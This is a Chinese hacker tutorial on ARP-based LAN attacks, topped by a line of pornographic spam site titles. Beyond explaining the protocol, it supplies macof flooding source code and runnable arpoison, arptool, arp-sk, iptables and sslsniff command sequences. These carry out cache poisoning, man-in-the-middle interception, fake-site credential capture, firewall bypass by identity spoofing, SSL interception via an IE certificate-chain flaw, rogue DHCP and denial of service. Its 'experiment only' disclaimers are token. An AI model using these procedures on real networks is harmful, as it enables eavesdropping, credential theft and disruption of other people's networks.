成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

戰術攻防之近距離搏擊篇(ARP)攻擊

安全 黑客攻防
SANS公布2001來自于內部入侵攻擊雖然只占30%左右,然而產生的危害也最大,因此局域網絡的入侵和滲透更具有實足的硝煙氣息。利用二層鏈路上ARP協議漏洞而產生的各種攻擊方式無疑是局部網絡戰爭最精妙的特技。

生活在網絡時代里,我們的生活里多了黑客這樣一群神秘人物。傳說中他們放蕩不羈,崇尚自我并行事詭異,攪動著整個網絡命脈,使其生機無限。然而現實中,他們超然的生活于我們周圍。假想在一間忙碌的Office中,每個員工在自己狹窄的工作空間中埋頭于自己手頭的事物;能聽到的聲音是手指在鍵盤揮舞的呵咔聲和此起彼伏的電話鈴,有誰有注意到那狹窄的個人空間里,思維的放任超乎尋常。飛快的手指間,各種指令和運作的程序隊列般的游行著。表面上似乎一切都正常,然而,或許那里正進行著激烈的電子對抗……。

SANS公布2001來自于內部入侵攻擊雖然只占30%左右,然而產生的危害也最大,因此局域網絡的入侵和滲透更具有實足的硝煙氣息。利用二層鏈路上ARP協議漏洞而產生的各種攻擊方式無疑是局部網絡戰爭最精妙的特技。

一、 基礎知識預備

精巧程序的后面藏匿著簡單的原理和聰穎的智慧。為了順利闡述ARP本身的協議漏洞以及后面將要闡述的各種ARP攻擊思維(同時,我必須顧及那些初次接觸網絡的朋友,以致不挫傷他們對網絡攻擊防御的興趣),我們將粗淺的概覽ARP協議和相關的網絡鏈路層的一些概念。

ARP(Address Resolution Protocol)簡稱地址解析協議,主要用于把以太網卡硬件地址和IP地址捆綁起來。當主機之間發生通信要求,則ARP協議通過廣播請求/單播回應方式建立主機間通信連接。大家熟悉的IP地址采用32位長度,在以太局域網中網卡設備地址是48位長度(也稱為MAC地址)。一張稱為ARP緩存的表單用于維護MAC地址和其所對應的IP地址的相關性。ARP則提供用于在網絡設備間進行地址轉換和創造MAC-IP相關性的協議規則。

網絡鏈路層的建立通信關系的準則:網絡主機A欲與網絡主機C建立通信連接,主機A在網絡中廣播ARP的請求數據包(REQUEST),如圖一:

主機A欲與IP地址為192.168.1.3的目標主機通信,則發送的廣播的數據包中包含本身的IP地址、網卡的MAC地址、目標主機的IP地址以及廣播MAC地址(FF-FF-FF-FF-FF-FF)。

(注:Mac地址是媒體接入層上使用的地址,直觀的概念就是網卡的物理地址,Mac地址一般都采用6字節48bit。)

主機C接收到ARP的REQUEST廣播包,發現目標地址中IP地址與自身IP地址一致,接收該數據請求,并作出響應。

從圖二中,可以看到主機C發現主A的ARP請求符合要求,在自身ARP緩存表中添加主機A的IP-MAC綁定映像記錄,并發送單播ARP回應數據包(RELAY)給主機A。主機A接收到回應數據包,更新其ARP緩存表記錄,綁定主機C的IP-MAC映像記錄。至此,二層通信關系建立完畢。而網絡中其他主機則忽略此請求包。

這種關系可以類似于情景會話↓

主機A:嗨,誰主機的IP地址是192.168.1.3?

主機B:嗨,我主機地址是192.168.1.3,我的門牌號是00-50-56-C0-08,記得來找我啊。

其他主機:NO,這不是我的IP地址。

從原理分析發覺ARP本身是無類協議,本身不能攜帶任何狀態信息。因此ARP協議不能進行任何認證,這樣就導致協議本身具有安全威脅性。造成這種安全威脅的歷史原因在于:早先的網絡創造者們是在一個平和自由的環境中設計ARP協議,因而安全問題在當時幾乎是瑣碎的事情。然而網絡集聚膨脹,破壞性攻擊和入侵事件的增加,使得ARP協議脆弱不堪。

了解ARP工作原理之后,可以得出:大部分網絡系統中的ARP緩存列表根據所接收的ARP REPLAY數據包動態增加或更新緩存表中IP-MAC映射記錄。根據這樣一條簡單規則,我們將看到各種絢麗的入侵和攻擊手法。#p#

二、 攻擊分類

◆ARP緩存中毒

這是個非常有意思的標題—“中毒”,這能讓我聯想到霉綠色的空氣和腐銹的紅色河水,畢竟地球區域生態環境令人擔心?。

ARP緩存中毒其實質并沒有字面含義那么可怕。還記得前面所提高過ARP緩存表的概念吧,事實上每個網絡設備都有一個APR表,其中臨時記錄著匹配的設備MAC和IP地址映射對。它保證這些記錄具有唯一性,即一個IP只單獨映射一個MAC。又由于ARP本身不具備認證信任機制,因此欺騙行為變的泛濫。當網絡設備發送ARP REQUEST時,它完全相信ARP REPLY回應是來自于正確設備,因為它不能驗證回應數據包是否確切從正確的設備發送的。更糟糕的是,許多操作系統并不需要發送ARP請求數據包就直接承認其他設備發送的ARP回應數據包。

這樣垃圾方式的設計讓入侵變的肆意,而防御卻無奈了許多。假設我是一個黑帽,我知道ARP并無驗證行為,而且系統不需要發送請求數據包就可接收ARP的回應數據包。我會怎么做?創建一個貌似合法的ARP REPLY數據包,其中偽造我所希望的MAC和IP地址,并發送給盲目接收此類數據包的主機系統。結果,這種方式欺騙主機使其更新我所希望的MAC-IP地址映射對。當然,我可以肆意廣播這種ARP REPLY數據包,愚弄整個網絡系統所有主機(?冷)。

現在你知道了ARP的一個小技巧,我們稱其為:ARP緩存中毒。正是通過它,無數的發明創造出來,正如輪子的發明可以和人類登月媲美,簡單的發明可以翹動地球。

◆MAC泛洪攻擊(Flooding)

現在的網絡結構大多數使用交換方式(Switched)結構取代早先的的廣播方式(Broadcast),這樣的優勢在于交換機不會向每個端口無聊的推送廣播風暴,它稍微智能的判斷需要推送數據的端口,這讓那些層在HUB方式連接的下大顯神威的嗅探器(snffer)感到憋足。

然而進步的力量有時候令“安全”變的很嬌嫩。交換機啟用端口安全特性(Port security)需要消耗部分的CPU,當交換處理超負載后,交換機就無法處理端口安全,此時交換機陷入了HUB模式,數據被簡單的廣播到網絡中的每臺計算機中,于是竊聽活動仍然可以繼續。于是利用大量的偽造ARP REQUEST數據包對交換機的ARP表進行泛洪攻擊(ARP緩存表中毒的典型運用),可以輕易使很多廠商交換機負荷過載(CISCO 1900和3COM superstackII就容易遭受攻擊),此刻交換機處于類似HUB工作方式,因而可輕松使用包嗅探器刺探整個網絡。

macof的小程序輕松了實現了這樣的功能,其代碼實現如下:
---------------snip-------------------

#include "config.h"
#include 
#include 
#include 
#include 
#include 
#include 
#include

#include "version.h"

extern char *ether_ntoa(struct ether_addr *);
extern struct ether_addr *ether_aton(char *);

in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL;
u_short Dport = 0;
u_short Sport = 0;
char   *Intf = NULL;
int Repeat = -1;  //導致偽造MAC的無限循環

void usage(void) {
fprintf(stderr, "Version: " VERSION "\n"
"Usage: macof ");
exit(1);
}
void gen_mac(u_char *mac) {
    //產生隨機MAC地址
*((in_addr_t *)mac) = libnet_get_prand(PRu32);
*((u_short *)(mac + 4)) = libnet_get_prand(PRu16);
}
int main(int argc, char *argv[]) {
int c, i;
struct libnet_link_int *llif;
char ebuf[PCAP_ERRBUF_SIZE];
u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
in_addr_t src, dst;
u_short sport, dport;
u_int32_t seq;
u_char pkt[ETH_H + IP_H + TCP_H];
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)
errx(1, "%s", ebuf);
libnet_seed_prand();
for (i = 0; i != Repeat; i++) {  
gen_mac(sha);
    gen_mac(tha);
    src = libnet_get_prand(PRu32);
dst = libnet_get_prand(PRu32);
sport = libnet_get_prand(PRu16);
dport = libnet_get_prand(PRu16);
seq = libnet_get_prand(PRu32);
//偽造貌似合法MAC地址
libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);
libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,
   IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);
libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,
    0, NULL, 0, pkt + ETH_H + IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);
if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)
  errx(1, "write");
fprintf(stderr, "%s ",
  "源MAC地址:"ether_ntoa((struct ether_addr *)sha));
fprintf(stderr, "%s\n %s:%d > %s:%d\n",
  "目標MAC地址:"ether_ntoa((struct ether_addr *)tha),
  "源IP地址/端口:"libnet_host_lookup(Src, 0), sport,
  "目標IP地址/端口:"libnet_host_lookup(Dst, 0), dport);
}
exit(0);
}
-----------------snip end-----------------------------

/* 本程序的作者是Dug Songdugsong@m.org,由于這里只需要實現MAC FLOODING的攻擊,所以我對程序做了精簡,便于讀者直觀了解MAC FLOODING的攻擊原理。另外,macof的最早作者是Ian Vitek,采用Perl進行編寫的*/

#macof 測試
[root@hackersvr /]# macof

源MAC地址:77:6b:e1:6e:5e:8c目標MAC地址:93:2d:ed:45:f9:e3

源IP地址/端口:0.0.0.0:45702目標IP地址/端口0.0.0.0:11000

源MAC地址:84:a4:d3:57:ef:8目標MAC地址:12:56:52:42:dc:95

源IP地址/端口:0.0.0.0:16630目標IP地址/端口0.0.0.0:3031

源MAC地址:f0:9:3f:18:89目標MAC地址:1d:86:53:53:d7:f8

源IP地址/端口:0.0.0.0:15535目標IP地址/端口0.0.0.0:7466 …………

此程序偽裝大量ARP回應數據包,導致交換機過載處理,因而陷入HUB方式處理數據包,Port Security特性失效。通過這種方式導致網絡安全再度陷入了竊聽的恐慌之中(注意:本程序只做實驗用途,嚴禁使用于任何工作環境,否則將導致網絡癱瘓或交換機硬件重置)。#p#

◆ARP欺騙行為

雖然MAC泛洪的攻擊方式帶了一些恐慌,但是由于這種方式在很多場合成功概率不高,且這種攻擊方式太過于激進,以至于聰明的網管能很快分析網絡并馬上制止這種行為的擴散,因此一種稱之為ARP欺騙的隱蔽的ARP中毒演變攻擊進入了Cyber空間。

首先假設一個場景:假如主機A要想獲得主機B的MAC,它需發送arp-request數據包到廣播地址,主機B會以自身地址回應這個請求。但假如主機C在主機B之前作出回應。主機A則在其緩存中設置主機C的MAC地址。

12:50:31.198300 arp who-has hostB tell hostA   [1]

12:50:31.198631 arp reply hostC is-at 4e:73:02:4b:3f:94  [2]

于是我們構造了欺騙行為,但由于主機A發送的是廣播包,因此主機B也會應答:

12:50:31.198862 arp reply hostB is-at 4e:80:51:d1:5e:f5  [3]

那么主機A的ARP緩存很有可能被刷新,但是由于緩存的無驗證即時更新機制,只要主機C不斷發送偽造的回應包,那么主機A的緩存列表中就能一直保存主機C的MAC地址。(假如主機不發送arp-request,向其發送arp-reply并無太大意思,因為緩存不會更新一個不存在的記錄)。其實現原理如圖:

了解ARP欺騙的方式后,其準確定義如下:利用以太和IP協議之間的交互關系而形成的攻擊方法,比如,偽造目標計算機的MAC地址以獲取其控制權。其表現形式為構造虛假arp-request和arp-reply數據包以實現欺騙目的。

這種欺騙方式主要用于交換網絡結構(對于HUB結構,可以直接對目標主機進行強制控制,使用欺騙方式似乎是種累贅),因此交換網的堅固性似乎變的脆弱很多。

使用arpoison小程序可以發送自定義硬件和IP地址的arp-reply包給目標主機,對其實行欺騙行為。

[root@hackersvr arpoison]# ./arpoison –I eth0 –d {hostA_ipaddr} –s {hostB_ipaddr} –t 00:13:0E:19:85:03 –r {hostC_mac_addr}ARP packet sent via eth0

# 1、主機C大量使用自己MAC回應主機A的請求,導致主機A被蒙騙與主機進行通信。

# 2、假如{- r}參數所設置的MAC為一個不存在的MAC地址,則會導致主機B與主機C之間的TCP

# 會話臨時性強行斷開。

# 3、假如想更新網絡中所有主機系統,可以發送廣播MAC地址FF:FF:FF:FF:FF:FF

◆中間人攻擊(Man In the Middle,MIM)

在ARP方式的攻擊,最有意思的環節莫過于MIM,這種非常隱蔽方式可以在兩臺通信的計算機之間進行橋接方式的監聽,并且非常不容易被發現,可謂是偷盜學術上的典范運用。

攻擊者駁接本地網絡,分別向主機A和主機B發送適當的偽造Arp-reply包,蒙蔽其所認為的正確的通信目標,并建立轉發規則,實現主機A與主機B之間的數據通信。使數據鏈路表面上看似A與B的正常通信,實則通過了攻擊者的機器進行代理轉發。

采用arptool可以輕松實現這類入侵方式:

 arptool用法: arptool

用于發送數據包的網卡

 發送的ARP類型包

tell    arp-reply類型數據包

bcast   當攻擊對象是linux操作系統,可使用此參數代替tell

 /        目標IP/MAC地址對

 /        源IP/MAC地址對

1、分別對主機A/B實施ARP攻擊

[root@hackersvr arptool]#ping 192.168.1.1

[root@hackersvr arptool]#ping 192.168.1.2

[root@hackersvr arptool]#arp –a

?(192.168.1.1) at 01.01.01.01.01.01 [ether] on eth0

?(192.168.1.2) at 02.02.02.02.02.02 [ether] on eth0

[root@hackersvr arptool]# ./arptool eth0 tell 192.168.1.1 01:01:01:01:01:01 192.168.1.2 03:03:03:03:03:03

[root@hackersvr arptool]#./arptool eth0 tell 192.168.1.2 02:02:02:02:02:02 192.168.1.1 03:03:03:03:03:03

現在我們可以透明代理主機A/B之間的應用程序數據通信?,比如攻擊者可以修改主機A/B之間的HTTP事務提交,但這需要我們在其間建立橋接轉發關系。

2、橋接主機A/B之間通信

[root@hackersvr arptool]#e cho 1 > /proc/sys/net/ipv4/ip_forward

[root@hackersvr arptool]#iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2

-d 192.168.1.1 --dport 80 -j REDIRECT --to-port 80

 通過這種方式,我們可以監聽、修改、切斷和劫持主機A/B之間的任何應用通信數據,似乎整個網絡陷落在一種前所未有的慌亂之中。

知識組合攻擊

arp-sk在arp方式攻擊中,享有“瑞士軍刀”的美譽,它可以維護所有設備的ARP表。通過發送適合的ARP數據包,它可以實現ARP的所有類型攻擊,非常強悍的工具。本節將采用arp-sk講解會話劫持、偷越防火墻和拒絕服務攻擊的思維方式。

1、 代理會話劫持(hijacking)

攻擊者架設HTTP服務器模擬遠程網站的一部分站點(這部分網頁用于劫持主機B客戶輸入相關信息,例如用戶名或ID)。而不需要模擬的站點則代理轉發至真實站點,這種高超的詐騙技巧非常 隱蔽。當我們盡情享受網絡沖浪的愉快時,誰會想到這是個陷阱?

發送arp-reply分別攻擊防火墻和目標主機

[root@hackersvr arp-sk]# ./arp-sk -r -d 192.168.1.2 -S 192.168.1.4 -D 192.168.1.2

+ Running mode "reply"

+ IfName: eth0

+ Source MAC: 03:03:03:03:03:03

+ Source ARP MAC: 03:03:03:03:03:03

+ Source ARP IP : 192.168.1.4 (gateway)

+ Target MAC: 02:02:02:02:02:02

+ Target ARP MAC: 02:02:02:02:02:02

+ Target ARP IP : 192.168.1.2 (hostB)

[...]

[root@hackersvr arp-sk]# ./arp-sk -r -d 192.168.1.4 -S 192.168.1.2 -D 192.168.1.4

+ Running mode "reply"

+ IfName: eth0

+ Source MAC: 03:03:03:03:03:03

+ Source ARP MAC: 03:03:03:03:03:03

+ Source ARP IP : 192.168.1.4 (hostB)

+ Target MAC: 04:04:04:04:04:04

+ Target ARP MAC: 04:04:04:04:04:04

+ Target ARP IP : 192.168.1.4 (gateway)

[...]

# 代理轉發非hotmail(207.68.171.233)的一切站點(攻擊者模擬hotmail站點,偽裝提供服務)

[root@hackersvr arp-sk]# iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2 \

-d !207.68.171.233 --dport 80 -j REDIRECT --to-port 80

代理轉發非hotmail(207.68.171.233)的一切站點(攻擊者模擬hotmail站點,偽裝提供服務)

[root@hackersvr arp-sk]# iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2 \

-d !207.68.171.233 --dport 80 -j REDIRECT --to-port 80

當使用轉發設置,目標主機使用ping命令可以檢測到其數據包的重定向,因此這里阻擋icmp重 定向的信息。

[root@hackersvr arp-sk]# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects

OK,剩下的事情就是如何如何使用嗅探工具、數據捕獲工具或自行定義的腳本來觀測目標主機的# 沖浪行為,并可以掌握他所有一切上網信息,諸如:郵件帳戶、論壇ID等。(這些使用方法超出

本文所論述的arp攻擊行為,不予討論)

2、 偷越防火墻

網絡權利的不均衡總惹鬧一些自負的家伙。由于網管的存在和防火墻的規則的設置,使得某些具有特權的計算機才能任意的訪問整個互連網,這為其它機器的使用者潛埋下嫉妒和羨慕的心理成分。為了反擊這種權利不均衡,Arp方式的欺騙訪問再一次獲得成功!?

原理圖六中,虛線代表主機B的正常出網訪問,通過Arp攻擊后,攻擊者以主機B的身份特權對互連網進行任意訪問,并分離主機B的網絡訪問,使主機B網絡訪問正常無異,防火墻的訪問限

制形如虛設。

只需要對防火墻進行攻擊,不需要對主機B實施攻擊

[root@hackersvr arp-sk]# arp-sk -r -d 192.168.1.4 -S 192.168.1.2 -D 192.168.1.4

使用Linux的Netfilter框架,很容易分離屬于攻擊者網絡訪問流和屬于主機B的網絡訪問流

[root@hackersvr arp-sk]# iptables -t nat -A POSTROUTING -j SNAT --to 192.168.1.2

一切的完美幾乎就在幾句簡單的語句之間完成,我想起史蒂文?列維的幾句真言:

1、進入(訪問)計算機應該是不受限制的和絕對的;

2、一切信息都應該是免費的;

3、懷疑權威,反對壟斷;

4、任何一個人都能在計算機上創造藝術和美;

5、計算機能夠使生活變得更美好

于是,攻擊在此刻似乎也變的美麗了許多。

3、 拒絕服務攻擊(DoS)

有了上面學習過程,這里實現Dos攻擊的方式變的相當簡單,對于攻擊者所代理轉發的數據包進行阻塞,從而達到這種卑劣的目的。(我相當反感這種攻擊方式,因此我也非常討厭駕御它進行攻擊的人,因此我希望這類攻擊方式只用于實驗目的,不要濫用!)

利用Linux得力的iptables工具,方便實現數據堵塞

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.1 -j DROP

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.2 -j DROP

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.4 -j DROP

 另一種方式是制造一個Mac”黑洞”,既使用不存在的mac地址使目標主機從網絡地圖上消失。

如下句法使hostA認為hostB已經離開網絡了:

[root@hackersvr arp-sk]# arp-sk -r -d hostB -S hostA --rand-arp-hwa-src -D hostB

通過了解Arp原理,我們發現這些攻擊方式非常有趣,并且思路簡單,實現方法也相當容易。但這些小技巧不過是Arp攻擊的基礎層面,下面的部分將深入討論一些Arp高級利用技巧,其攻擊思維的精妙之處令我贊嘆不止。#p#

三、 ARP攻擊進階

◆SSL深度刺穿

前面闡述過使用MIM攻擊方式可以在交換網環境中對任意主機進行竊聽活動,于是用網絡傳輸任何敏感數據是非常危險的,當輸入信用卡的ID的時候,當發送私人郵件時,你是否會想象這網絡的另一端已經布置了陷阱,等著你發送自動把自己的秘密泄露呢?所以利用私鑰加密的傳輸方式變的非常風靡,因為我們非常信任CA,所以我們把自己放置于一個依賴“信任”的網絡安全環境中進行著各種交易。

而流行的SSL協議在這種信任環境中扮演極其重要的角色,由于其加密通道內包含了重要資信和數據,一時間它成為許多竊聽高手的重要目標。本文將以微軟糟糕的IE為例,講述如何從其加密的通道內竊聽信息。

眾所周知,微軟總向世人鼓吹其瀏覽器128位加密的強大好處,其SSL安全機制的完美。殊不知,由于其追求快速開發和節約成本的代碼壓縮,導致其結構本身存在許多漏洞。在IE的SSL實現中,一個特征漏洞是可以對其進行主動而無法偵測的MIM攻擊,并且瀏覽器不會給出任何警告對話框。

在構建加密通道站點時候,管理員需要產生一個經過CA簽名的證書,證書中DN部分的CN設置應該為安全站點的URL地址。如果我們想建立安全的www.hakcerxfiles.net的安全站點,我們需要申請的證書結構形式大體為:

[CA頒發者:VeriSign / 信任授權體:VeriSign]

->[CA頒發者:VeriSign / 信任授權體:www.hackerxfiles.net]

當瀏覽器接收到此證書,它會自動驗證CN字段和其所連接的域是否匹配、其證書是否使用了權威CA機構的簽名。利用MIM攻擊方式似乎很無力,畢竟偽造一張擁有合法CN字段和合法簽名的證書困難相當之大。

然而在現實當中,更多的CA證書機構是以中間人的形式來辦法數字證書的。這意味著www.hackerxfiles.net很可能得到的數字證書結構:

[CA頒發者:VeriSign / 信任授權體:VeriSign]

->[CA頒發者:VeriSign / 信任授權體:CA中介]

->[CA頒發者:CA中介 / 信任授權體:www.hackerxfiles.net ]

當瀏覽器接受此證書,其會嚴整認證分支鏈路證書的CN值是否與所連接的域名匹配、其是否被中介CA簽名、中介CA是否被權威CA記過簽名。最后,瀏覽器還檢查所有中介CA是否具有合法的CA基本約束(Basic Constraints,關于證書認證鏈路的路徑深度的概念,具體可參閱RFC2459文檔4.2.1-10部分的解釋)。

整個認證過程看起來很完美,但IE在設計SSL的時候卻在整個認證鏈路過程中省略CA基本約束(偷工減料無疑是制造了一個接一個垃圾功能?)。這意味著任何擁有域的合法CA簽名證書的用戶可以為其他域產生一個合法的CA簽名證書(由于缺少基本約束,瀏覽器無法判斷CA證書子結構是中介CA機構還是最終用戶實體)。

首先,作為hackerxfiles的站點管理員,我產生一個證書,并向CA請求一個合法簽名:

[CA頒發者:VeriSign / 信任授權體:VeriSign]

->[CA頒發者:VeriSign / 信任授權體:www.hackerxfiles.net]

接著,我為所需要認證的域產生一個證書,并用我申請的CA證書為其簽名:

[CA頒發者:VeriSign / 信任授權體:VeriSign]

->[CA頒發者:VeriSign / 信任授權體:www.hackerxfiles.net]

->[CA頒發者:www.hackerxfiles.net / 信任授權體:www.163.com]

由于IE不對www.hackerxfiles.net中介證書進行基本約束檢查,因此它承認www.163.com的證書合法性。OK,發覺沒有?任何擁有權威CA簽名證書的用戶可以對其他人進行“合法欺騙”!!!!

熟悉這個漏洞后,設計的MIM SSL會話劫持攻擊原理圖如下:

安裝sslsniff-0.4.tar.gz

[root@hackersvr tools]#tar zxvf sslsniff-0.4.tar.gz

[root@hackersvr sslsniff-0.4]# make
 

這里可以把合法的SSL數字證書和私鑰合并到文件偽造證書,也可以使用軟件本身附帶的 trust.crt文件作為偽造證書,完成與可戶端的SSL握手。

監聽443端口請求并重定向其到5555,并使用偽造證書進行欺騙 

[root@hackersvr sslsniff-0.4]# ./sslsniff –p 5555 –c trust.crt

建立數據代理轉發機制

[root@hackersvr sslsniff-0.4]#e cho 1

> /proc/sys/net/ipv4/ip_forward

[root@hackersvr sslsniff-0.4]#iptables –t nat

–A PREROUTING

–p tcp –destination-port 443 –j REDIRECT –to-ports 5555

利用arp-sk對目標主機進行ARP欺騙攻擊,目標主機將通過攻擊者主機代理所有數據。至此,整個竊聽體系建立完畢

arp-sk -r –d 192.168.1.2 -S 192.168.1.3 -D 192.168.1.2

在攻擊者收到客戶端的連接,將制造一個到真實安全站點的連接,并查詢服務器的證書信息。

SSLsniff產生一個中介CA數字證書,并用合法的trust.crt簽名,使其成為合法終端實體用戶證書。Sslsniff使用產生的證書認證鏈路與客戶實現SSL握手認證并代理期間的任何數據。

 由于IE設計SSL認證鏈路的漏洞,瀏覽器并不會提出任何警告。其攻擊方式的新穎另人嘆服。

對于IE5和IE5.5版本,漏洞攻擊是非常輕松的。而IE6而言,則需要選擇適合的權威機構CA簽名,VeriSign頒發的證書中,其CA基本約束沒有設置任何信息;而Thawte頒發的證書則明確設置了”Basic Constraint CA = FALSE”。如果IE6發現這樣的設置并不會跟從數字證書認證 鏈路。則無法實現竊聽,反之則可順利監聽IE內SSL的一切數據活動。

通過精巧的方式,加密技術變的無所適從,于是一切疑惑又回到“信息保密是管理問題?還是技術問題?”的無盡爭論中。

(附:非常感謝Mike Benham對本節內容的技術指導和email中為我解答的幾個疑惑問題,在此表示致敬)

◆利用DHCP攻擊

DHCP的設計的確為網絡管理員的懶惰帶來良好的借口。使用DHCP動態分配主機IP的方式,使的局域網絡的管理也簡潔很多。

為能以清晰的概念如何利用DHCP服務進行攻擊,首先了解下DHCP服務器是如何動態分配的:

1、 客戶端發送一個DHCP的偵察包(discovery)給服務器,其中包含請求IP地址的信息。客戶端的網卡接口或許會請求它原來所租用的IP地址。

2、 服務器發送DHCP供應包(offer),通知所提供的IP地址給客戶端。

3、 客戶端發送DHCP請求包(request),通知DHCP服務器客戶端需要服務器所提供的IP地址。

4、 服務器發送DHCP確認包(ack),確認客戶端已發送的申請要求。客戶端綁定服務器所提供的IP地址。

5、 客戶端綁定默認網關,DNS服務等DHCP所提供的網絡設置。

掌握DHCP服務的運作原理后,我們能做些什么?(學者會繼續深究這個原理;而黑客卻會思考如何利用這個原理,這也許就是學者與黑客的區別之一吧)。每個網絡里獨立存在一臺DHCP服務器進行IP動態分址服務,假如在加入一臺DHCP,效果怎樣?于是網絡中爆發了DHCP服務大戰,誰勝利誰就占有主機的分配權。那么制造一臺DHCP服務器,并使其贏得分配權,則可以對主機設置虛假的網關和虛假DNS服務,輕松的實現MIM攻擊(絕對的好思路?)。

當然,上述的做法過于野蠻,另一種精致的做法使:利用ARP欺騙攻擊可以從DHCP服務器中偷竊一部分可租用的IP地址(過份的做法是全部偷竊,欺騙正常DHCP其租用空間滿載)。偽造DHCP服務器,并使用欺騙所獲得的IP地址進行分配活動。而客戶端將得到攻擊者偽造的默認網關和偽造的DNS服務器。在偽造默認網關實現監聽;或使用偽造DNS重定向用戶HTTP訪問到黑帽的服務器,進行應用級的偷竊活動。一切依然簡單,而且使用的也僅僅是簡單的ARP攻擊。

下面來看看另一種有意思的攻擊方式——偷竊主機“身份標識”。

許多主機都喜歡DHCP分配相同的IP地址。而管理員則維護了一張MAC-IP的地址列表以便于這種固定的分配。那么通過對一個指定主機的MAC地址進行欺騙,并請求正確的IP地址,那么這個主機的身份標識將被偷竊。為了實現這個目的,首先將目標機器Dos攻擊。并在目標機器重新啟動前,對DHCP實施IP請求,偷竊目標身份標識。一旦偷竊成功,則此狀態將存于DHCP的MAC-IP地址列表中。(偷取目標主機的身份標識當然為了是采用借刀殺人,栽贓陷害的假名攻擊方法)。

實現原理如下:

從攻擊原理圖知道,具體實現分為三步:

1、 對目標主機實行ARP拒絕服務攻擊。

2、 在機器重新啟動前,偷竊目標主機所分配的IP地址,使目標主機更新其原有地址。

3、 啟動偽造DHCP服務器,希望在DHCP爭奪戰能分配IP地址。

(注:其攻擊實現的代碼程序我已收錄到tools工具包,請參閱相關目錄)

如果局域網絡中使用DHCP服務進行IP分址服務,那么進行ARP欺騙行為的攻擊是相當容易的,除非網絡管理員在DHCP服務器對主機的IP地址和MAC進行綁定,但這樣一來,使管理網絡變的復雜化一些。因此從某種意義上說,網絡安全和管理方便之間是一對矛盾體,越安全的網絡環境,其管理辛勞程度自然也加大很多。

當掌握理論的時候,就該推進到如何利用的階段了,這也是互連網Howto熱門起來的原由之一。#p#

四、 具體入侵實例

本節將給出具體實例,分別實現MIM嗅探數據、TCP會話劫持和DoS攻擊。雖然操作簡單,但考慮到對網絡的危害比較大,請有興趣的朋友搭建實驗環境進行測試,不要在正常的交互網絡進行這些非法行為(由于前面部分分析了這些攻擊行為的原理,這里只敘述攻擊流程,不在詳述其原理)。

(另注:本小節的實現是在土豆大哥的善意指點下而完成的。這些中肯的意見讓我能認真的面對寫作,盡量把一些肯綮難解的思想寫的通俗易懂,不辜負喜歡看我文章的讀者,也在此對土豆大哥致禮)

網絡環境

用戶    IP:192.168.1.36(win2k)

服務器  IP:192.168.1.244(win2k)

攻擊者  IP:192.168.1.246(Redhat7.2)

(注:三臺機器是連在同一個交換機)

1、 MIM嗅探數據實例

◆獲取服務器和目標主機的MAC地址

◆ 分別對服務器和目標主機實現ARP欺騙

◆ 開啟IP轉發,并實施嗅探

從截圖,我們可以看見攻擊者(192.168.1.246)在三層網絡環境下重定向并嗅嘆了用戶(192.168.1.36)到WEB服務器(192.168.1.244)的HTTP會話過程。編輯Ethereal的捕捉規則還可以嗅嘆POP3、Telnet和Ftp等登錄過程,從而輕松獲取帳戶。

2、 TCP會話劫持實例  

使用和MIM嗅嘆同樣的方法獲取MAC地址,并對主機實行ARP欺騙攻擊。接著,劫持一個監測的會話,利用合法用戶進行連接并通過驗證,使攻擊者合法接管會話過程。

◆ 使用hunt監測并劫持一個Telnet會話  

◆在劫持過程中,接管會話并修改發送命令

整個Telnet劫持會話中,發送一個mkdir test命令,欺騙服務器認為此命令是合法用戶發送的,因此接受此命令操作,會話劫持完成。此類操作及其簡單,但可以假冒合法用戶進行正常的服務器操作,威脅性巨大。

3、 DoS攻擊實例

◆ 對主機發送大量偽造ARP reply數據包,導致其認為192.168.1.20已經“死亡”。

◆ 受害主機截圖

此刻,主機已經無法Ping通192.168.1.20的地址,ARP的DoS攻擊完成。  

◆數據包截圖分析

從截圖可以發現不斷向192.168.1.36發送隨機Mac刷新其記錄中192.168.1.20的幻存記錄,導致其無法對192.168.1.20進行正常網絡訪問。這種簡單的阻斷攻擊不但造成網絡中Arp-reply的廣播風暴,導致網絡性能下降;嚴重還會讓整個三層交換網絡陷落于無窮的“絕緣”狀態之中。

4、 windows平臺ARP欺騙實現

考慮到許多讀者還未接觸過Linux或者對其來不太了解,因此本節將介紹兩個關于Windows平臺下實現Arp攻擊的小工具:winarp_sk和win_mim(兩款軟件需要wincap包的支持,已經收錄到tools軟件包)。

Winarp_sk是arp_sk的Windows平臺實現,其設計思想和arp_sk別無二致,只不過是在windows平臺實現此類攻擊。下面介紹其使用方法,感興趣的讀者可以根據前面所熟悉的攻擊方式在windows平臺下進行攻擊測試。

winarp_sk.exe -m mode [-D dst_ether_addr] [-S src_ether_addr] 
                
[-F sender_MAC] -d sender_IP [-T target_MAC]
                   
-s target_IP [-t delay] [-c count]

-S: 以Windows格式設置數據包MAC源地址。    如果不做任何設置,將發送本機的MAC地址。

-D: 以Windows格式設置數據包MAC源地址。

一般使用參數-d所指定主機的MAC地址。

注意: Windows下面MAC地址的形式為: XX-XX-XX-XX-XX-XX

-m: 設置發送ARP類型包   

1 : 制作一個ARP-request數據包   

2 : 制作一個ARP-reply數據包

-F: 設置發送主機的MAC地址    默認使用本地主機MAC進行發送

-s: 設置發送主機的IP地址

-T: 設置目標主機的MAC地址

-d: 設置目標主機的IP地址

舉例一:

